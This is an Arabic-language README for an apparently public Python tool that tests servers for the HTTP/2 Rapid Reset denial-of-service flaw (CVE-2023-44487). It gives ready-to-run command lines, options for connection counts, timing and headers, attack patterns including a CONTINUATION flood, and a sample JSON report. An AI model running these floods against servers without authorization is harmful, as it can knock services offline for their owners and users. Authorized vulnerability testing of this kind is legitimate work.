
أداة اختبار مبنية على بايثون لـ CVE-2023-44487 (HTTP/2 Rapid Reset) مع أنماط هجوم متعددة، وإعدادات دقيقة، ومراقبة لتقييمات الأمان المصرح بها.
أداة اختبار شاملة بلغة Python لثغرة CVE-2023-44487، وهي ثغرة HTTP/2 Rapid Reset. يوفر هذا الإصدار المحسّن تحكمًا دقيقًا في معاملات الاختبار، وأنماط هجوم متعددة، وقدرات مراقبة متقدمة.
هذه الأداة مخصصة للأغراض التعليمية والاختبار المصرح به فقط!
CVE-2023-44487، المعروفة أيضًا باسم "HTTP/2 Rapid Reset"، هي ثغرة حرجة في بروتوكول HTTP/2 تسمح للمهاجمين بـ:
درجة CVSS: 7.5 (عالية)
التأثير: حجب الخدمة، استنزاف الموارد
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # يجب أن يكون 3.7+
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://target.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://target.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| الخيار | الوصف | الافتراضي |
|---|---|---|
-c, --connections N | عدد الاتصالات المتزامنة | 1 |
--connection-timeout SEC | مهلة الاتصال بالثواني | 10 |
--read-timeout SEC | مهلة القراءة للاستجابات | 5 |
--connection-delay SEC | التأخير بين الاتصالات | 0.0 |
| الخيار | الوصف | الافتراضي |
|---|---|---|
-r, --requests N | الطلبات لكل اتصال | 100 |
--delay SEC | التأخير بين HEADERS و RST_STREAM | 0.001 |
--request-delay SEC | التأخير بين الطلبات | 0.0 |
--jitter FACTOR | عامل عشوائية التوقيت | 0.0 |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--pattern TYPE | نمط الهجوم المستخدم | rapid_reset |
--burst-size N | الطلبات لكل دفعة | 10 |
--burst-delay SEC | التأخير بين الدفعات | 0.1 |
الأنماط المتاحة:
rapid_reset - هجوم إعادة الضبط السريع القياسيburst_reset - هجمات قائمة على الدفعاتgradual_reset - معدل متزايد تدريجيًاrandom_reset - توقيت عشوائيcontinuation_flood - فيضان إطارات CONTINUATIONmixed_pattern - مزيج من الأنماط| الخيار | الوصف | الافتراضي |
|---|---|---|
--window-size BYTES | حجم نافذة HTTP/2 الأولية | 65535 |
--frame-size BYTES | الحد الأقصى لحجم الإطار | 16384 |
--header-table-size BYTES | حجم جدول ترويسات HPACK | 4096 |
--enable-push | تمكين دفع خادم HTTP/2 | False |
--rst-error-code CODE | رمز خطأ RST_STREAM | 8 |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--custom-headers HEADER | ترويسات مخصصة (الاسم: القيمة) | None |
--random-headers | توليد ترويسات عشوائية | False |
--header-count N | عدد الترويسات العشوائية | 5 |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--randomize-streams | استخدام معرفات تدفق عشوائية | False |
--priority-frames | تضمين معلومات الأولوية | False |
--continue-on-error | المتابعة بعد الأخطاء | True |
--max-errors N | الحد الأقصى للأخطاء قبل التوقف | 10 |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--track-latency | تتبع زمن استجابة الطلبات | False |
--track-responses | تتبع استجابات الخادم | False |
--monitor-memory | مراقبة استخدام الذاكرة | False |
| الخيار | الوصف | الافتراضي |
|---|---|---|
--output FORMAT | تنسيق الإخراج | console |
--output-file FILE | اسم ملف الإخراج | تم إنشاؤه تلقائيًا |
--verbose, -v | إخراج مفصل | False |
--debug | تسجيل التصحيح | False |
--log-file FILE | التسجيل في ملف | None |
تنسيقات الإخراج المتاحة:
console - إخراج وحدة التحكم القابل للقراءة البشريةjson - JSON قابل للقراءة آليًاcsv - CSV متوافق مع جداول البياناتxml - تنسيق XML منظمتوفر الأداة نتائج شاملة تشمل:
{
"target_url": "https://example.com",
"test_config": {
"attack_pattern": "rapid_reset",
"max_connections": 10,
"requests_per_connection": 100,
"delay_between_headers_rst": 0.001
},
"test_summary": {
"duration": 2.34,
"successful_connections": 10,
"total_successful_attacks": 950,
"success_rate": 95.0,
"requests_per_second": 405.98,
"total_bytes_sent": 125600,
"average_latency": 0.0024
},
"connection_stats": [...],
"errors": [...],
"timestamp": 1640995200.0
}
تقوم الأداة تلقائيًا بتقييم الثغرة: